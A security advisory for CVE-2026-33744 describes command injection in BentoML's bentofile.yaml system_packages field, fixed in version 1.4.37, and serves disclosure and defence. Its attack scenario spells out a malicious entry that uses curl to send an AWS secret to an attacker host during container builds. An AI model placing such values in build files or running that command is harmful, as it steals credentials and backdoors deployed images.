CVE-2026-33744

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.37, the `docker.system_packages` field in `bentofile.yaml` accepts arbitrary strings that are interpolated directly into Dockerfile `RUN` commands without sanitization. Since `system_packages` is semantically a list of OS package names (data), users do not expect values to be interpreted as shell commands. A malicious `bentofile.yaml` achieves arbitrary command execution during `bentoml containerize` / `docker build`. Version 1.4.37 fixes the issue.

A threat actor targeting an ML engineering team submits a pull request to an open-source BentoML model repository, modifying bentofile.yaml to include a malicious system_packages entry such as `curl http://attacker.com/exfil?k=$(cat /run/secrets/aws_key)`. When a developer or CI/CD pipeline runs `bentoml containerize` to build the model's serving container — a routine step before deployment — the injected command executes during the Docker RUN layer, exfiltrating build secrets or installing a persistent backdoor into the resulting container image. The compromised image is then pushed to the container registry and deployed to production model serving infrastructure.